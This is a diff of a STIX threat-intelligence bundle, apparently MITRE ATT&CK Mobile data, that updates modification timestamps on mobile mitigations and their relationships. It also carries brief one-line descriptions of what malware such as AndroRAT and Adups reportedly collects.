             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.732Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Developer Guidance",
             "description": "This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.",
             "external_references": [
@@ -4483,7 +4480,7 @@
             "id": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:51.942Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Vetting",
             "description": "Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.\n\nEnterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.\n\nApplication Vetting is not a complete mitigation. Techniques such as Detect App Analysis Environment exist that can enable adversaries to bypass vetting.",
             "external_references": [
@@ -4502,7 +4499,7 @@
             "id": "course-of-action--ff4821f6-5afb-481b-8c0f-26c28c0d666c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:52.933Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Attestation",
             "description": "Enable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.",
             "external_references": [
@@ -4521,7 +4518,7 @@
             "id": "course-of-action--e944670c-d03a-4e93-a21c-b3d4c53ec4c9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:51.365Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Caution with Device Administrator Access",
             "description": "Warn device users not to accept requests to grant Device Administrator access to applications without good reason.\n\nAdditionally, application vetting should include a check on whether the application requests Device Administrator access. Applications that do request Device Administrator access should be carefully scrutinized and only allowed to be used if a valid reason exists.",
             "external_references": [
@@ -4540,7 +4537,7 @@
             "id": "course-of-action--cf2cccb1-cab8-431a-8ecf-f7874d05f433",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:52.601Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Deploy Compromised Device Detection Method",
             "description": "A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.",
             "external_references": [
@@ -4559,7 +4556,7 @@
             "id": "course-of-action--8220b57e-c400-4525-bf69-f8edc6b389a8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:50.769Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Encrypt Network Traffic",
             "description": "Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.\n\niOS's App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security  (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.\n\nAndroid's Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected  (Citation: Android-NetworkSecurityConfig).\n\nUse of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.",
             "external_references": [
@@ -4588,7 +4585,7 @@
             "id": "course-of-action--649f7268-4c12-483b-ac84-4b7bca9fe2ee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.318Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Enterprise Policy",
             "description": "An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.",
             "external_references": [
@@ -4607,7 +4604,7 @@
             "id": "course-of-action--e829ee51-1caf-4665-ba15-7f8979634124",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:50.181Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Interconnection Filtering",
             "description": "In order to mitigate Signaling System 7 (SS7) exploitation, the Communications, Security, Reliability, and Interoperability Council (CSRIC) describes filtering interconnections between network operators to block inappropriate requests (Citation: CSRIC5-WG10-FinalReport).",
             "external_references": [
@@ -4631,7 +4628,7 @@
             "id": "course-of-action--8ccd428d-39da-4e8f-a55b-d48ea1d56e58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:49.554Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Lock Bootloader",
             "description": "On devices that provide the capability to unlock the bootloader (hence allowing any operating system code to be flashed onto the device), perform periodic checks to ensure that the bootloader is locked.",
             "external_references": [
@@ -4650,7 +4647,7 @@
             "id": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:50.493Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Security Updates",
             "description": "Install security updates in response to discovered vulnerabilities.\n\nPurchase devices with a vendor and/or mobile carrier commitment to provide security updates in a prompt manner for a set period of time.\n\nDecommission devices that will no longer receive security updates.\n\nLimit or block access to enterprise resources from devices that have not installed recent security updates.\n* On Android devices, access can be controlled based on each device's security patch level.\n* On iOS devices, access can be controlled based on the iOS version.",
             "external_references": [
@@ -4669,7 +4666,7 @@
             "id": "course-of-action--7b1cf46f-784b-405a-a8dd-4624c19d8321",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:52.270Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Partition Integrity",
             "description": "Ensure that Android devices being used include and enable the Verified Boot capability, which cryptographically ensures the integrity of the system partition.",
             "external_references": [
@@ -4688,7 +4685,7 @@
             "id": "course-of-action--d2a199d2-dfea-4d0c-987d-6195ed17be9c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:51.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Use Device-Provided Credential Storage",
             "description": "Application developers should use device-provided credential storage mechanisms such as Android's KeyStore or iOS's KeyChain. These can prevent credentials from being exposed to an adversary.",
             "external_references": [
@@ -4707,7 +4704,7 @@
             "id": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:51.657Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Use Recent OS Version",
             "description": "New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.",
             "external_references": [
@@ -4726,7 +4723,7 @@
             "id": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:49.838Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "User Guidance",
             "description": "Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.",
             "external_references": [
@@ -4745,7 +4742,7 @@
             "id": "relationship--55f12292-dc9d-4bfd-9de9-2d07cd67b044",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.734Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--2204c371-6100-4ae0-82f3-25c07c29772a",
@@ -4758,7 +4755,7 @@
             "id": "relationship--077da2d7-0913-4040-b25e-2f6913ed4ea0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.734Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--2204c371-6100-4ae0-82f3-25c07c29772a",
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@@ -6032,7 +6029,7 @@
             "id": "relationship--8aa790cc-0d42-4114-8cbe-783abc595b8b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.737Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9",
@@ -6045,7 +6042,7 @@
             "id": "relationship--ee0afd88-a0fc-4b1d-b047-9b9bf04d36fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.737Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8220b57e-c400-4525-bf69-f8edc6b389a8",
             "target_ref": "attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9",
@@ -6058,7 +6055,7 @@
             "id": "relationship--6407562a-d297-43cd-95df-aec9cf501ce2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.738Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9",
@@ -6071,7 +6068,7 @@
             "id": "relationship--8ccfab20-58cf-4af6-9fb0-6bbf59258ac9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.738Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9",
@@ -6084,7 +6081,7 @@
             "id": "relationship--b4e055cf-f77e-4888-9610-6cd328e035c8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.746Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a",
@@ -6097,7 +6094,7 @@
             "id": "relationship--2bd272ca-8a14-42cd-9664-6cc6f7451e42",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--0c71033e-401e-4b97-9309-7a7c95e43a5d",
@@ -6110,7 +6107,7 @@
             "id": "relationship--4caf3ad1-6ef8-42de-851d-bdc3a22977b3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--8f0e39c6-82c9-41ec-9f93-5696c0f2e274",
@@ -6123,7 +6120,7 @@
             "id": "relationship--d6930d98-f8a2-4556-baa4-95275d3fa23d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--8f0e39c6-82c9-41ec-9f93-5696c0f2e274",
@@ -6136,7 +6133,7 @@
             "id": "relationship--6c0491ee-53e0-44ae-bcd0-253fc47de61e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--1b51f5bc-b97a-498a-8dbd-bc6b1901bf19",
@@ -6149,7 +6146,7 @@
             "id": "relationship--024f9ee4-cb7d-49f4-b180-ad1e5e168a4c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.747Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--1b51f5bc-b97a-498a-8dbd-bc6b1901bf19",
@@ -6162,7 +6159,7 @@
             "id": "relationship--8f7c14bf-4c0f-4e54-99c2-41b511220b33",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--831e3269-da49-48ac-94dc-948008e8fd16",
@@ -6175,7 +6172,7 @@
             "id": "relationship--0818895a-0d6d-47cc-ad34-a09bdb76a81b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.741Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--6f86d346-f092-4abc-80df-8558a90c426a",
@@ -6188,7 +6185,7 @@
             "id": "relationship--69efe716-affe-419e-ac06-924d2e416695",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.734Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--537ea573-8a1c-468c-956b-d16d2ed9d067",
@@ -6201,7 +6198,7 @@
             "id": "relationship--634e2691-341f-4e5b-83e7-e28369d88c64",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.747Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--a93ccb8f-3996-42e2-b7c7-bb599d4e205f",
@@ -6214,7 +6211,7 @@
             "id": "relationship--b2b31911-5b7e-4df3-89c6-00b5b372fb4f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.741Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8220b57e-c400-4525-bf69-f8edc6b389a8",
             "target_ref": "attack-pattern--a5de0540-73e7-4c67-96da-4143afedc7ed",
@@ -6227,7 +6224,7 @@
             "id": "relationship--4df969b3-f5a0-4802-b87e-a458e3e439ed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.741Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8220b57e-c400-4525-bf69-f8edc6b389a8",
             "target_ref": "attack-pattern--633baf01-6de4-4963-bb54-ff6c6357bed3",
@@ -6240,7 +6237,7 @@
             "id": "relationship--cda9f3cf-01e4-41b3-8e45-4dda9fe5eb30",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.741Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--649f7268-4c12-483b-ac84-4b7bca9fe2ee",
             "target_ref": "attack-pattern--633baf01-6de4-4963-bb54-ff6c6357bed3",
@@ -6253,7 +6250,7 @@
             "id": "relationship--aaf0ae2f-07ea-479e-8419-e524e23dbaef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.733Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--a21a6a79-f9a1-4c87-aed9-ba2d79536881",
@@ -6266,7 +6263,7 @@
             "id": "relationship--3a446bee-007b-4b1f-849e-60e9d39c2e92",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--8f142a25-f6c3-4520-bd50-2ae3ab50ed3e",
@@ -6279,7 +6276,7 @@
             "id": "relationship--095f71ad-9a93-45ce-9b77-a101f6c894de",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.747Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--3dd58c80-4c2e-458c-9503-1b2cd273c4d2",
@@ -6292,7 +6289,7 @@
             "id": "relationship--dfc1f490-f8b9-4287-8c79-652d42f0a64a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.747Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--3dd58c80-4c2e-458c-9503-1b2cd273c4d2",
@@ -6305,7 +6302,7 @@
             "id": "relationship--465ff71b-2b1b-43b6-ab78-afb273d956d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.746Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--e944670c-d03a-4e93-a21c-b3d4c53ec4c9",
             "target_ref": "attack-pattern--8e27551a-5080-4148-a584-c64348212e4f",
@@ -6318,7 +6315,7 @@
             "id": "relationship--b1f2770e-11f0-429c-9bac-9fa5bc5859b0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.746Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--8e27551a-5080-4148-a584-c64348212e4f",
@@ -6331,7 +6328,7 @@
             "id": "relationship--3e3cad6c-dd73-43c9-bf99-d4796ba97fb1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--56660521-6db4-4e5a-a927-464f22954b7c",
@@ -6344,7 +6341,7 @@
             "id": "relationship--f2e23cb7-7bac-4938-91ea-7dd42b41ba29",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ANDROIDOS_ANSERVER.A uses encrypted content within a blog site for part of its command and control. Specifically, the encrypted content contains URLs for other servers to be used for other aspects of command and control.",
             "source_ref": "malware--4bf6ba32-4165-42c1-b911-9c36165891c8",
@@ -6365,7 +6362,7 @@
             "id": "relationship--d792bffd-6745-4da6-a70f-2d5843ef05ca",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adups is pre-installed on Android devices from some vendors.",
             "source_ref": "malware--f6ac21b6-2592-400c-8472-10d0e2f1bfaf",
@@ -6391,7 +6388,7 @@
             "id": "relationship--18d3f4c7-2888-4d27-9ac7-b7ade1a1c04c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adups reportedly \"transmitted the full contents of text messages\".",
             "source_ref": "malware--f6ac21b6-2592-400c-8472-10d0e2f1bfaf",
@@ -6412,7 +6409,7 @@
             "id": "relationship--a8079e6a-ef87-4e3b-9f71-cf1ea2360892",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adups reportedly transmitted contact lists.",
             "source_ref": "malware--f6ac21b6-2592-400c-8472-10d0e2f1bfaf",
@@ -6433,7 +6430,7 @@
             "id": "relationship--e87aa0d6-241f-4f72-bdb6-54e8d5584ae2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adups reportedly transmitted call logs.",
             "source_ref": "malware--f6ac21b6-2592-400c-8472-10d0e2f1bfaf",
@@ -6454,7 +6451,7 @@
             "id": "relationship--8ed14c81-0b30-4bfc-8552-439aa0e920c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adups reportedly transmitted location information.",
             "source_ref": "malware--f6ac21b6-2592-400c-8472-10d0e2f1bfaf",
@@ -6475,7 +6472,7 @@
             "id": "relationship--290a627d-172d-494d-a0cc-685f480a1034",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "AndroRAT collects call logs.",
             "source_ref": "malware--a3dad2be-ce62-4440-953b-00fbce7aba93",
@@ -6496,7 +6493,7 @@
             "id": "relationship--980c49f8-d991-4e1f-8feb-6173e3dfca1f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "AndroRAT captures SMS messages.",
             "source_ref": "malware--a3dad2be-ce62-4440-953b-00fbce7aba93",
@@ -6517,7 +6514,7 @@
             "id": "relationship--fa1da6db-da32-45d2-98a8-6bbe153166da",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "AndroRAT tracks the device location.",
             "source_ref": "malware--a3dad2be-ce62-4440-953b-00fbce7aba93",
@@ -6538,7 +6535,7 @@
             "id": "relationship--b4180067-52b6-4109-91df-52fd9a7ed2e8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "AndroRAT gathers \"audio from the microphone.\"",
             "source_ref": "malware--a3dad2be-ce62-4440-953b-00fbce7aba93",
@@ -6559,7 +6556,7 @@
             "id": "relationship--aaf55dd1-33df-4f02-8025-eaae01f30b33",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "AndroRAT collects contact list information.",
             "source_ref": "malware--a3dad2be-ce62-4440-953b-00fbce7aba93",
@@ -6580,7 +6577,7 @@
             "id": "relationship--fb371daf-2771-488f-90ca-5e08b9a36c5c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Android/Chuli.A malware was delivered via a spear phishing message sent to activist groups containing a malicious Android application as an attachment.",
             "source_ref": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
@@ -6601,7 +6598,7 @@
             "id": "relationship--cfa1d194-7401-46ba-bfed-5f311aeb22d3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Android/Chuli.A malicious application sent to activist groups stole contact list data \"stored both on the the phone and the SIM card\".",
             "source_ref": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
@@ -6622,7 +6619,7 @@
             "id": "relationship--2bedbf86-2ef0-45bf-950d-b9d072c03bdc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Android/Chuli.A malicious application sent to activist groups stole call logs.",
             "source_ref": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
@@ -6643,7 +6640,7 @@
             "id": "relationship--68e5789c-9f60-421e-9c79-fae207a29e83",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
